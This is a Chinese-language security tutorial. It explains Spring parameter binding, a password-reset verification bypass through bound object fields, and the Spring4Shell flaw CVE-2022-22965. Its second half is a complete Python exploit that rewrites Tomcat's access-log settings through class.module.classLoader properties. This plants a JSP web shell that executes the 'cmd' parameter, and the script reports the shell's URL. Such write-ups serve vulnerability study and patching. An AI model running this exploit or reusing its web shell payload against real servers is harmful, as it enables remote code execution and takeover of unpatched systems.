JAVA安全之Spring参数绑定漏洞CVE-2022-22965

前言

在介绍这个漏洞前，介绍下在spring下的参数绑定

在Spring框架中，参数绑定是一种常见的操作，用于将HTTP请求的参数值绑定到Controller方法的参数上。下面是一些示例，展示了如何在Spring中进行参数绑定：

示例1：

@Controller
@RequestMapping("/user")
public class UserController {

    @GetMapping("/{id}")
    public String getUserById(@PathVariable("id") int userId, Model model) {
        // 根据userId查询用户信息并返回
        User user = userService.getUserById(userId);
        model.addAttribute("user", user);
        return "user";
    }

    @PostMapping("/add")
    public String addUser(@RequestParam("name") String name, @RequestParam("age") int age, Model model) {
        // 创建新用户并保存到数据库
        User newUser = new User(name, age);
        userService.addUser(newUser);
        model.addAttribute("user", newUser);
        return "user";
    }
}

上述示例中，我们使用了@PathVariable和@RequestParam注解来进行参数绑定：

@PathVariable用于将URL中的路径变量与方法参数进行绑定。在getUserById方法中，我们将URL中的"id"作为参数绑定到userId上。
@RequestParam用于将HTTP请求参数与方法参数进行绑定。在addUser方法中，我们将请求参数"name"和"age"分别绑定到name和age上。

通过这种方式，Spring框架能够自动将请求参数的值绑定到Controller方法的参数上，简化了参数处理的过程。

示例2：

在Spring框架中，除了绑定基本类型的参数外，我们也经常需要绑定对象作为方法的参数。下面是一个示例，展示了如何在Spring中进行对象的参数绑定：

假设有一个名为User的JavaBean类：

javaCopy Codepublic class User {
    private String name;
    private int age;

    // 省略构造函数、getter和setter 
}

然后在Controller中，我们可以将User对象作为方法的参数进行绑定

javaCopy Code@Controller
@RequestMapping("/user")
public class UserController {

    @PostMapping("/add")
    public String addUser(@ModelAttribute User user, Model model) {
        // 通过@ModelAttribute注解将HTTP请求参数绑定到User对象
        userService.addUser(user);
        model.addAttribute("user", user);
        return "user";
    }
}

我们使用了@ModelAttribute注解将HTTP请求参数绑定到User对象上。Spring框架会自动根据HTTP请求的参数名和User对象的属性名进行匹配，并进行对象的参数绑定。

当客户端发送一个包含name和age参数的POST请求时，Spring框架将自动创建一个User对象，并将请求参数的值绑定到User对象的对应属性上。

这种方式能够方便地处理复杂的对象绑定工作，使得我们在Controller中可以直接操作领域对象，而无需手动解析和绑定参数。

参数绑定漏洞

参数绑定这个机制，使得我们对绑定的对象实现了可控。如果代码对这个对象又做了其他验证处理，那么就非常可能导致某种逻辑漏洞，绕过漏洞。

看如下的代码

@Controller
@SessionAttributes({"user"})
public class ResetPasswordController {
    private static final Logger logger = LoggerFactory.getLogger(ResetPasswordController.class);
    @Autowired
    private UserService userService;

    public ResetPasswordController() {
    }
    
    @RequestMapping(
        value = {"/reset"},
        method = {RequestMethod.GET}
    )
    public String resetViewHandler() {
        logger.info("Welcome reset ! ");
        return "reset";
    }
    
    @RequestMapping(
        value = {"/reset"},
        method = {RequestMethod.POST}
    )
    public String resetHandler(@RequestParam String username, Model model) {
        logger.info("Checking username " + username);
        User user = this.userService.findByName(username);
        if (user == null) {
            logger.info("there is no user with name " + username);
            model.addAttribute("error", "Username is not found");
            return "reset";
        } else {
            model.addAttribute("user", user);
            return "redirect:resetQuestion";
        }
    }
    
    @RequestMapping(
        value = {"/resetQuestion"},
        method = {RequestMethod.GET}
    )
    public String resetViewQuestionHandler(@ModelAttribute User user) {
        logger.info("Welcome resetQuestion ! " + user);
        return "resetQuestion";
    }
    
    @RequestMapping(
        value = {"/resetQuestion"},
        method = {RequestMethod.POST}
    )
    public String resetQuestionHandler(@RequestParam String answerReset, SessionStatus status, User user, Model model) {
        logger.info("Checking resetQuestion ! " + answerReset + " for " + user);
        if (!user.getAnswer().equals(answerReset)) {
            logger.info("Answer in db " + user.getAnswer() + " Answer " + answerReset);
            model.addAttribute("error", "Incorrect answer");
            return "resetQuestion";
        } else {
            status.setComplete();
            String newPassword = GeneratePassword.generatePassowrd(10);
            user.setPassword(newPassword);
            this.userService.updateUser(user);
            model.addAttribute("message", "Your new password is " + newPassword);
            return "success";
        }
    }

}

由于有了参数绑定这个机制，user对象是我们用户可控的！，可是在post提交的/resetQuestion 方法中if(!user.getAnswer().equals(answerReset)) 居然从user对象中取数据来做验证，那么我们可以尝试利用参数绑定的机制，参数设为？answer=hello&answerReset=hello，使得equals成功，从而绕过验证。

参考自动绑定漏洞_对象自动绑定漏洞-CSDN博客

war包下载https://github.com/3wapp/ZeroNights-HackQuest-2016

CVE-2022-22965

受影响范围： Spring Framework < 5.3.18 Spring Framework < 5.2.20 JDK ≥ 9 不受影响版本： Spring Framework = 5.3.18 Spring Framework = 5.2.20 JDK < 9 与Tomcat版本有关

注：jdk版本的不同，可能导致漏洞利用成功与否

思考：参数绑定可以给对应对象的属性赋值，有没有一种可能可以给其他的对象赋值？

为了实现这种可能，先了解下参数绑定的底层机制！

由于java语言复杂的对象继承关系，参数绑定也有多级参数绑定的机制。如contry.province.city.district=yuelu，
其内部的调用链也应是
Contry.getProvince()
        Province.getCity()
                City.getDistrict()
                        District.setDistrictName()

Spring自带： BeanWrapperlmpl------Spring容器中管理的对象，自动调用get/set方法
BeanWrapperlmpl是对PropertyDescriptor的进一步封装

我们都知道在Java中，所有的类都隐式地继承自java.lang.Object类。 Object类是Java中所有类的根类，它定义了一些通用的方法，因此这些方法可以在任何对象上调用。

getClass(): 返回对象所属的类。

是否可以通过class对象跳转到其他对象上。

在spring是世界中一切都是javabean，就连输出的log日志也是一个javabean，如果我们能够修改这个javabean，就意味着输出的log后缀名可控，其内容也可控。那好我们直接改成jsp马的形式

漏洞搭建复现

我们使用maven工具加入spring boot，模拟一个参数绑定的Controller，生成war包放入tomcat中

参考文章Spring 远程命令执行漏洞（CVE-2022-22965）原理分析和思考 (seebug.org)

附上poc

import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Change the tomcat log location variables
    print("[*] Modifying Log Configurations")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Changes take some time to populate on tomcat
    time.sleep(3)

    # Send the packet that writes the web shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] Response Code: %d" % ret.status_code)

    time.sleep(1)

    # Reset the pattern to prevent future writes into the file
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url', help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="bak")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=whoami"
        print(f"[+] Shell should be at: {location}?cmd=whoami")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()

注意这个poc的逻辑先向log文件中打入马的形式，其部分关键语段用占位符代替，这也是为了绕过防护机制的手段。之后请求的包在header将占位符填上，这时一个jsp就此形成